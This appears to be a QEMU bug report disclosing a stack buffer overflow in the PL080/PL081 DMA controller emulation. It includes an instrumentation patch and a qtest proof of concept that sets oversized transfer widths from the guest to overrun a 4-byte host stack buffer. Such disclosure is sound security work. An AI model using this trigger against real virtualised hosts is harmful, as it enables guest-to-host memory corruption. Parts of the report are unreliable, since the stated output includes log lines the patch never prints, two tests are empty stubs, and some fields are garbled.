Stack Buffer Overflow in PL080/PL081 DMA Controller

Host environment

  • Operating system:

    Ubuntu 24.04

  • OS/kernel version:

    Linux Mewtwo 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

  • Architecture:

    x86

  • QEMU flavor:

    qemu-system-arm

  • QEMU version:

    c494afbb

  • QEMU command line:

    - OS/kernel version:
    • Architecture:

    Description of problem

    Steps to reproduce

    STEP 1: Apply Instrumentation Patch

    This patch adds detection code that will:

    • Check if swidth or dwidth exceeds buff[4] size
    • Log detailed vulnerability information
    • Limit the width to prevent actual overflow (for safe testing)
    • Detect stack corruption using a canary value

    Create file: pl080-instrumentation.patch


    diff --git a/hw/dma/pl080.c b/hw/dma/pl080.c index xxxxxxxxxx..yyyyyyyyyy 100644 --- a/hw/dma/pl080.c +++ b/hw/dma/pl080.c @@ -103,6 +103,10 @@ static void pl080_run(PL080State \*s) uint8_t buff\[4\]; uint32_t req;
    
    + /\* Instrumentation: Stack canary for overflow detection \*/
    + uint64_t stack_canary_before = 0xDEADBEEFCAFEBABEULL;
    + bool overflow_detected = false;
    + s-\>tc_mask = 0; for (c = 0; c \< s-\>nchannels; c++) { if (s-\>chan\[c\].conf & PL080_CCONF_ITC) @@ -168,6 +172,32 @@ static void pl080_run(PL080State \*s) swidth = 1 \<\< ((ch-\>ctrl \>\> 18) & 7); dwidth = 1 \<\< ((ch-\>ctrl \>\> 21) & 7);
    + /\* Instrumentation: Detect stack overflow trigger condition \*/
    + if (swidth \> sizeof(buff) || dwidth \> sizeof(buff)) {
    + qemu_log_mask(LOG_GUEST_ERROR,
    + "!!! CVE STACK OVERFLOW DETECTED !!!\\n"
    + "pl080_run: Buffer overflow attempt!\\n"
    + " buff size: %zu bytes\\n"
    + " swidth: %d bytes (ctrl\[20:18\] = %d)\\n"
    + " dwidth: %d bytes (ctrl\[23:21\] = %d)\\n"
    + " Overflow: %d bytes beyond stack buffer!\\n"
    + " This would corrupt the stack and potentially overwrite:\\n"
    + " - Local variables\\n"
    + " - Saved frame pointer\\n"
    + " - Return address (RIP/PC)\\n"
    + " **CRITICAL**: Potential host code execution!\\n",
    + sizeof(buff),
    + swidth, (ch-\>ctrl \>\> 18) & 7,
    + dwidth, (ch-\>ctrl \>\> 21) & 7,
    + (swidth \> dwidth ? swidth : dwidth) - (int)sizeof(buff));
    + 
    + /\* Limit width to prevent actual overflow \*/
    + if (swidth \> sizeof(buff)) {
    + swidth = sizeof(buff);
    + }
    + if (dwidth \> sizeof(buff)) {
    + dwidth = sizeof(buff);
    + }
    + overflow_detected = true;
    + }
    +        for (n = 0; n \< dwidth; n+= swidth) {
                 address_space_read(&s-\>downstream_as, ch-\>src,
                                    MEMTXATTRS_UNSPECIFIED, buff + n, swidth);
    
    @@ -247,6 +277,18 @@ static void pl080_run(PL080State \*s) s-\>running = 1; }
    
    + /\* Instrumentation: Check stack canary \*/
    + if (stack_canary_before != 0xDEADBEEFCAFEBABEULL) {
    + qemu_log_mask(LOG_GUEST_ERROR,
    + "!!! STACK CANARY CORRUPTED !!!\\n"
    + "pl080_run: Stack corruption detected!\\n"
    + " This indicates the stack buffer overflow succeeded!\\n");
    + }
    + 
    + if (overflow_detected) {
    + qemu_log_mask(LOG_GUEST_ERROR,
    + "pl080_run: Overflow was detected and mitigated.\\n");
    + }
    + pl080_update(s); } Apply the patch:

    and

    cd /path/to/qemu patch -p1 \< pl080-instrumentation.patch 

    STEP 2: Add qtest Test Cases

    Create file: pl080-cve-test.c (place in tests/qtest/)

    /*
    
    
     * QTest testcase for PL080/PL081 DMA Stack Buffer Overflow CVE
     */
    #include "qemu/osdep.h"
    #include "libqtest-single.h"
    #define PL081_BASE 0x40100000
    /* PL080 register offsets */
    
    
    #define PL080_CONFIG 0x030
    #define PL080_CH0_BASE 0x100
    #define PL080_CH_SRC_ADDR 0x000
    #define PL080_CH_DST_ADDR 0x004
    #define PL080_CH_LLI 0x008
    #define PL080_CH_CONTROL 0x00C
    #define PL080_CH_CONFIG 0x010
    /* Control and config bits */
    
    
    #define PL080_CCTRL_I (1 << 31)
    #define PL080_CCTRL_DI (1 << 27)
    #define PL080_CCTRL_SI (1 << 26)
    #define PL080_CCONF_E (1 << 0)
    #define PL080_CCONF_ITC (1 << 15)
    #define PL080_CONF_E (1 << 0)
    #define SRC_ADDR 0x20000000
    #define DST_ADDR 0x20001000
    static void test_pl080_stack_overflow_width_128(void)
    {
        uint64_t ch0_base = PL081_BASE + PL080_CH0_BASE;
        g_test_message("\\n=====================================================");
        g_test_message("Stack buffer: uint8_t buff[4] (4 bytes)");
        g_test_message("Setting width field to 7:");
        g_test_message(" swidth = 1 << 7 = 128 bytes");
        g_test_message(" dwidth = 1 << 7 = 128 bytes");
        g_test_message("Overflow: 124 bytes beyond stack buffer!");
        g_test_message("-----------------------------------------------------");
        /* Initialize source buffer with test pattern */
        for (uint32_t i = 0; i < 128; i++) {
            writeb(SRC_ADDR + i, 0x41 + (i % 26)); /* A-Z pattern */
        }
        /* Enable DMA controller */
        writel(PL081_BASE + PL080_CONFIG, PL080_CONF_E);
        /* Configure channel 0 for vulnerable transfer */
        writel(ch0_base + PL080_CH_SRC_ADDR, SRC_ADDR);
        writel(ch0_base + PL080_CH_DST_ADDR, DST_ADDR);
        writel(ch0_base + PL080_CH_LLI, 0);
        /* ⚠️ CRITICAL: Set control register with width field = 7
         * bits[20:18] = 7 (source width = 1 << 7 = 128 bytes)
         * bits[23:21] = 7 (dest width = 1 << 7 = 128 bytes)
         * bits[11:0] = 1 (transfer 1 element)
         */
        uint32_t ctrl = (7 << 18) | (7 << 21) | PL080_CCTRL_SI |
                        PL080_CCTRL_DI | PL080_CCTRL_I | 1;
        writel(ch0_base + PL080_CH_CONTROL, ctrl);
        g_test_message("Control register: 0x%08x", ctrl);
        g_test_message(" Source width (bits[20:18]): 7 → 128 bytes");
        g_test_message(" Dest width (bits[23:21]): 7 → 128 bytes");
        g_test_message("");
        g_test_message("Enabling DMA channel...");
        g_test_message("** This triggers stack buffer overflow! **");
        /* Trigger DMA by enabling channel */
        writel(ch0_base + PL080_CH_CONFIG, PL080_CCONF_E | PL080_CCONF_ITC);
        /* Wait for transfer */
        clock_step(1000000);
        g_test_message("=====================================================");
        g_test_message("TRIGGERED!");
        g_test_message("=====================================================");
    }
    static void test_pl080_stack_overflow_width_64(void)
    {
        /* Similar test with width=6 (64 bytes) */
        /* ... implementation ... */
    }
    static void test_pl080_stack_overflow_width_8(void)
    {
        /* Test with width=3 (8 bytes) */
        /* ... implementation ... */
    }
    int main(int argc, char **argv)
    {
        g_test_init(&argc, &argv, NULL);
        qtest_add_func("/pl080-cve/overflow-width8",
                       test_pl080_stack_overflow_width_8);
        qtest_add_func("/pl080-cve/overflow-width64",
                       test_pl080_stack_overflow_width_64);
        qtest_add_func("/pl080-cve/overflow-width128",
                       test_pl080_stack_overflow_width_128);
        qtest_start("-machine mps2-an505 -d guest_errors");
        int ret = g_test_run();
        qtest_end();
        return ret;
    }

    Add to tests/qtest/meson.build:

    qtests_arm = [
      ...
      'pl080-cve-test',
      ...
    ]

    STEP 3: Build QEMU

    cd /path/to/qemu ./configure --target-list=arm-softmmu --enable-debug make -j$(nproc) cd build ninja tests/qtest/pl080-cve-test

    STEP 4: Run the PoC

    cd /path/to/qemu
    # Set environment variable
    export QTEST_QEMU_BINARY=./build/qemu-system-arm
    # Run the test
    ./build/tests/qtest/pl080-cve-test 

    EXPECTED OUTPUT

    You should see output similar to this:

    pl080_run: Buffer overflow attempt!
      buff size: 4 bytes
      swidth: 128 bytes (ctrl[20:18] = 7)
      dwidth: 128 bytes (ctrl[23:21] = 7)
      Overflow: 124 bytes beyond stack buffer!
      This would corrupt the stack and potentially overwrite:
        - Local variables
        - Saved frame pointer
        - Return address (RIP/PC)
      **CRITICAL**: Potential host code execution!
      Limiting swidth from 128 to 4
      Limiting dwidth from 128 to 4
    pl080_run: Overflow was detected and mitigated.
    ok 1 /arm/pl080-cve/overflow-width128

    Additional information